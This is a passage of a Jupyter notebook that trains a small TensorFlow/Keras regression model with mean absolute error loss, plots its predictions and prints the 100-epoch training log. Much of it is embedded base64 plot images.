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\n", - "text/plain": [ - "
" - ] - }, - "metadata": { - "needs_background": "light" - }, - "output_type": "display_data" - } - ], - "source": [ - "y_pred=model.predict(X_test)\n", - "plt.figure(figsize=(12,8))\n", - "plt.plot(y_test)\n", - "plt.plot(y_pred)" - ] - }, - { - "cell_type": "code", - "execution_count": 54, - "id": "946a6b5c", - "metadata": {}, - "outputs": [ - { - "name": "stderr", - "output_type": "stream", - "text": [ - "C:\\Users\\ankit\\anaconda3\\lib\\site-packages\\tensorflow\\python\\keras\\optimizer_v2\\optimizer_v2.py:374: UserWarning: The `lr` argument is deprecated, use `learning_rate` instead.\n", - " warnings.warn(\n" - ] - }, - { - "name": "stdout", - "output_type": "stream", - "text": [ - "Epoch 1/100\n", - "1/1 [==============================] - 0s 356ms/step - loss: 137.2522 - mae: 137.2522\n", - "Epoch 2/100\n", - "1/1 [==============================] - 0s 5ms/step - loss: 123.6820 - mae: 123.6820\n", - "Epoch 3/100\n", - "1/1 [==============================] - 0s 4ms/step - loss: 110.3410 - mae: 110.3410\n", - "Epoch 4/100\n", - "1/1 [==============================] - 0s 3ms/step - loss: 97.0553 - mae: 97.0553\n", - "Epoch 5/100\n", - "1/1 [==============================] - 0s 4ms/step - loss: 83.6781 - mae: 83.6781\n", - "Epoch 6/100\n", - "1/1 [==============================] - 0s 4ms/step - loss: 70.1583 - mae: 70.1583\n", - "Epoch 7/100\n", - "1/1 [==============================] - 0s 4ms/step - loss: 56.6299 - mae: 56.6299\n", - "Epoch 8/100\n", - "1/1 [==============================] - 0s 5ms/step - loss: 42.7936 - mae: 42.7936\n", - "Epoch 9/100\n", - "1/1 [==============================] - 0s 4ms/step - loss: 28.7666 - mae: 28.7666\n", - "Epoch 10/100\n", - "1/1 [==============================] - 0s 4ms/step - loss: 14.3392 - mae: 14.3392\n", - "Epoch 11/100\n", - "1/1 [==============================] - 0s 4ms/step - loss: 0.5729 - mae: 0.5729\n", - "Epoch 12/100\n", - "1/1 [==============================] - 0s 3ms/step - loss: 10.5946 - mae: 10.5946\n", - "Epoch 13/100\n", - "1/1 [==============================] - 0s 5ms/step - loss: 16.5153 - mae: 16.5153\n", - "Epoch 14/100\n", - "1/1 [==============================] - 0s 4ms/step - loss: 19.0913 - mae: 19.0913\n", - "Epoch 15/100\n", - "1/1 [==============================] - 0s 3ms/step - loss: 18.9422 - mae: 18.9422\n", - "Epoch 16/100\n", - "1/1 [==============================] - 0s 4ms/step - loss: 16.6214 - mae: 16.6214\n", - "Epoch 17/100\n", - "1/1 [==============================] - 0s 4ms/step - loss: 12.5841 - mae: 12.5841\n", - "Epoch 18/100\n", - "1/1 [==============================] - 0s 5ms/step - loss: 7.2094 - mae: 7.2094\n", - "Epoch 19/100\n", - "1/1 [==============================] - 0s 5ms/step - loss: 0.8652 - mae: 0.8652\n", - "Epoch 20/100\n", - "1/1 [==============================] - 0s 3ms/step - loss: 6.2187 - mae: 6.2187\n", - "Epoch 21/100\n", - "1/1 [==============================] - 0s 4ms/step - loss: 10.7696 - mae: 10.7696\n", - "Epoch 22/100\n", - "1/1 [==============================] - 0s 3ms/step - loss: 13.2473 - mae: 13.2473\n", - "Epoch 23/100\n", - "1/1 [==============================] - 0s 5ms/step - loss: 13.9825 - mae: 13.9825\n", - "Epoch 24/100\n", - "1/1 [==============================] - 0s 4ms/step - loss: 13.2160 - mae: 13.2160\n", - "Epoch 25/100\n", - "1/1 [==============================] - 0s 4ms/step - loss: 11.1245 - mae: 11.1245\n", - "Epoch 26/100\n", - "1/1 [==============================] - 0s 5ms/step - loss: 7.8380 - mae: 7.8380\n", - "Epoch 27/100\n", - "1/1 [==============================] - 0s 4ms/step - loss: 3.4511 - mae: 3.4511\n", - "Epoch 28/100\n", - "1/1 [==============================] - 0s 4ms/step - loss: 1.9682 - mae: 1.9682\n", - "Epoch 29/100\n", - "1/1 [==============================] - 0s 6ms/step - loss: 5.3756 - mae: 5.3756\n", - "Epoch 30/100\n", - "1/1 [==============================] - 0s 5ms/step - loss: 6.9377 - mae: 6.9377\n", - "Epoch 31/100\n", - "1/1 [==============================] - 0s 4ms/step - loss: 6.8410 - mae: 6.8410\n", - "Epoch 32/100\n", - "1/1 [==============================] - 0s 4ms/step - loss: 5.2809 - mae: 5.2809\n", - "Epoch 33/100\n", - "1/1 [==============================] - 0s 4ms/step - loss: 2.4528 - mae: 2.4528\n", - "Epoch 34/100\n", - "1/1 [==============================] - 0s 4ms/step - loss: 1.4537 - mae: 1.4537\n", - "Epoch 35/100\n", - "1/1 [==============================] - 0s 3ms/step - loss: 3.5475 - mae: 3.5475\n", - "Epoch 36/100\n", - "1/1 [==============================] - 0s 9ms/step - loss: 4.0683 - mae: 4.0683\n", - "Epoch 37/100\n", - "1/1 [==============================] - 0s 3ms/step - loss: 3.1985 - mae: 3.1985\n", - "Epoch 38/100\n", - "1/1 [==============================] - 0s 4ms/step - loss: 1.0747 - mae: 1.0747\n", - "Epoch 39/100\n", - "1/1 [==============================] - 0s 4ms/step - loss: 2.2023 - mae: 2.2023\n", - "Epoch 40/100\n", - "1/1 [==============================] - 0s 4ms/step - loss: 3.7866 - mae: 3.7866\n", - "Epoch 41/100\n", - "1/1 [==============================] - 0s 6ms/step - loss: 3.8290 - mae: 3.8290\n", - "Epoch 42/100\n", - "1/1 [==============================] - 0s 3ms/step - loss: 2.4931 - mae: 2.4931\n", - "Epoch 43/100\n", - "1/1 [==============================] - 0s 6ms/step - loss: 0.0944 - mae: 0.0944\n", - "Epoch 44/100\n", - "1/1 [==============================] - 0s 3ms/step - loss: 1.7656 - mae: 1.7656\n", - "Epoch 45/100\n", - "1/1 [==============================] - 0s 4ms/step - loss: 1.9692 - mae: 1.9692\n", - "Epoch 46/100\n", - "1/1 [==============================] - 0s 4ms/step - loss: 0.8253 - mae: 0.8253\n", - "Epoch 47/100\n", - "1/1 [==============================] - 0s 5ms/step - loss: 1.5446 - mae: 1.5446\n", - "Epoch 48/100\n", - "1/1 [==============================] - 0s 5ms/step - loss: 2.3326 - mae: 2.3326\n", - "Epoch 49/100\n", - "1/1 [==============================] - 0s 4ms/step - loss: 1.6886 - mae: 1.6886\n", - "Epoch 50/100\n", - "1/1 [==============================] - 0s 3ms/step - loss: 0.2280 - mae: 0.2280\n", - "Epoch 51/100\n", - "1/1 [==============================] - 0s 4ms/step - loss: 0.6185 - mae: 0.6185\n", - "Epoch 52/100\n", - "1/1 [==============================] - 0s 4ms/step - loss: 0.3525 - mae: 0.3525\n", - "Epoch 53/100\n", - "1/1 [==============================] - 0s 4ms/step - loss: 0.1191 - mae: 0.1191\n", - "Epoch 54/100\n", - "1/1 [==============================] - 0s 5ms/step - loss: 0.3001 - mae: 0.3001\n", - "Epoch 55/100\n", - "1/1 [==============================] - 0s 5ms/step - loss: 0.6697 - mae: 0.6697\n", - "Epoch 56/100\n", - "1/1 [==============================] - 0s 5ms/step - loss: 0.2189 - mae: 0.2189\n", - "Epoch 57/100\n", - "1/1 [==============================] - 0s 4ms/step - loss: 1.5148 - mae: 1.5148\n", - "Epoch 58/100\n", - "1/1 [==============================] - 0s 4ms/step - loss: 1.7410 - mae: 1.7410\n", - "Epoch 59/100\n", - "1/1 [==============================] - 0s 4ms/step - loss: 0.6096 - mae: 0.6096\n", - "Epoch 60/100\n", - "1/1 [==============================] - 0s 3ms/step - loss: 1.7223 - mae: 1.7223\n", - "Epoch 61/100\n", - "1/1 [==============================] - 0s 6ms/step - loss: 2.5058 - mae: 2.5058\n", - "Epoch 62/100\n", - "1/1 [==============================] - 0s 5ms/step - loss: 1.9125 - mae: 1.9125\n", - "Epoch 63/100\n", - "1/1 [==============================] - 0s 3ms/step - loss: 0.1024 - mae: 0.1024\n", - "Epoch 64/100\n", - "1/1 [==============================] - 0s 4ms/step - loss: 2.2968 - mae: 2.2968\n", - "Epoch 65/100\n", - "1/1 [==============================] - 0s 3ms/step - loss: 3.0932 - mae: 3.0932\n", - "Epoch 66/100\n", - "1/1 [==============================] - 0s 4ms/step - loss: 2.4623 - mae: 2.4623\n", - "Epoch 67/100\n", - "1/1 [==============================] - 0s 6ms/step - loss: 0.5602 - mae: 0.5602\n", - "Epoch 68/100\n", - "1/1 [==============================] - 0s 5ms/step - loss: 2.4532 - mae: 2.4532\n", - "Epoch 69/100\n", - "1/1 [==============================] - 0s 5ms/step - loss: 3.8501 - mae: 3.8501\n", - "Epoch 70/100\n", - "1/1 [==============================] - 0s 4ms/step - loss: 3.8199 - mae: 3.8199\n", - "Epoch 71/100\n", - "1/1 [==============================] - 0s 4ms/step - loss: 2.5068 - mae: 2.5068\n", - "Epoch 72/100\n", - "1/1 [==============================] - 0s 4ms/step - loss: 0.0801 - mae: 0.0801\n", - "Epoch 73/100\n", - "1/1 [==============================] - 0s 4ms/step - loss: 2.5746 - mae: 2.5746\n", - "Epoch 74/100\n", - "1/1 [==============================] - 0s 4ms/step - loss: 3.5739 - mae: 3.5739\n", - "Epoch 75/100\n", - "1/1 [==============================] - 0s 4ms/step - loss: 3.1221 - mae: 3.1221\n", - "Epoch 76/100\n", - "1/1 [==============================] - 0s 4ms/step - loss: 1.3748 - mae: 1.3748\n", - "Epoch 77/100\n", - "1/1 [==============================] - 0s 3ms/step - loss: 1.5080 - mae: 1.5080\n", - "Epoch 78/100\n", - "1/1 [==============================] - 0s 5ms/step - loss: 2.7817 - mae: 2.7817\n", - "Epoch 79/100\n", - "1/1 [==============================] - 0s 4ms/step - loss: 2.6328 - mae: 2.6328\n", - "Epoch 80/100\n", - "1/1 [==============================] - 0s 4ms/step - loss: 1.2033 - mae: 1.2033\n", - "Epoch 81/100\n", - "1/1 [==============================] - 0s 4ms/step - loss: 1.4001 - mae: 1.4001\n", - "Epoch 82/100\n", - "1/1 [==============================] - 0s 4ms/step - loss: 2.4279 - mae: 2.4279\n", - "Epoch 83/100\n", - "1/1 [==============================] - 0s 5ms/step - loss: 2.0211 - mae: 2.0211\n", - "Epoch 84/100\n", - "1/1 [==============================] - 0s 4ms/step - loss: 0.3319 - mae: 0.3319\n", - "Epoch 85/100\n", - "1/1 [==============================] - 0s 5ms/step - loss: 2.4823 - mae: 2.4823\n", - "Epoch 86/100\n", - "1/1 [==============================] - 0s 4ms/step - loss: 3.7117 - mae: 3.7117\n", - "Epoch 87/100\n", - "1/1 [==============================] - 0s 4ms/step - loss: 3.5392 - mae: 3.5392\n", - "Epoch 88/100\n" - ] - }, - { - "name": "stdout", - "output_type": "stream", - "text": [ - "1/1 [==============================] - 0s 5ms/step - loss: 2.1036 - mae: 2.1036\n", - "Epoch 89/100\n", - "1/1 [==============================] - 0s 4ms/step - loss: 0.4903 - mae: 0.4903\n", - "Epoch 90/100\n", - "1/1 [==============================] - 0s 5ms/step - loss: 1.5251 - mae: 1.5251\n", - "Epoch 91/100\n", - "1/1 [==============================] - 0s 4ms/step - loss: 1.1397 - mae: 1.1397\n", - "Epoch 92/100\n", - "1/1 [==============================] - 0s 4ms/step - loss: 0.5158 - mae: 0.5158\n", - "Epoch 93/100\n", - "1/1 [==============================] - 0s 4ms/step - loss: 0.7022 - mae: 0.7022\n", - "Epoch 94/100\n", - "1/1 [==============================] - 0s 4ms/step - loss: 0.4284 - mae: 0.4284\n", - "Epoch 95/100\n", - "1/1 [==============================] - 0s 4ms/step - loss: 0.1423 - mae: 0.1423\n", - "Epoch 96/100\n", - "1/1 [==============================] - 0s 4ms/step - loss: 1.4129 - mae: 1.4129\n", - "Epoch 97/100\n", - "1/1 [==============================] - 0s 4ms/step - loss: 1.5203 - mae: 1.5203\n", - "Epoch 98/100\n", - "1/1 [==============================] - 0s 4ms/step - loss: 0.3281 - mae: 0.3281\n", - "Epoch 99/100\n", - "1/1 [==============================] - 0s 5ms/step - loss: 2.0519 - mae: 2.0519\n", - "Epoch 100/100\n", - "1/1 [==============================] - 0s 4ms/step - loss: 2.8863 - mae: 2.8863\n" - ] - }, - { - "data": { - "text/plain": [ - "" - ] - }, - "execution_count": 54, - "metadata": {}, - "output_type": "execute_result" - } - ], - "source": [ - "# Create model using sequential API\n", - "model=tf.keras.Sequential([tf.keras.layers.Dense(100,activation=\"relu\"),tf.keras.layers.Dense(1, input_shape=[1])]) # 1 for taking one input and predicting 1 output\n", - "\n", - "# Compile the model\n", - "model.compile(loss=tf.keras.losses.mae, optimizer=tf.keras.optimizers.Adam(lr=0.01), metrics=[\"mae\"])\n", - "# mae = mean absolute error \n", - "#Fit the model\n", - "model.fit(X_train,y_train,epochs=100, verbose=1) # epochs = oppurtuinity" - ] - }, - { - "cell_type": "code", - "execution_count": 55, - "id": "02bbb598", - "metadata": {}, - "outputs": [ - { - "data": { - "text/plain": [ - "[]" - ] - }, - "execution_count": 55, - "metadata": {}, - "output_type": "execute_result" - }, - { - "data": { - "image/png": "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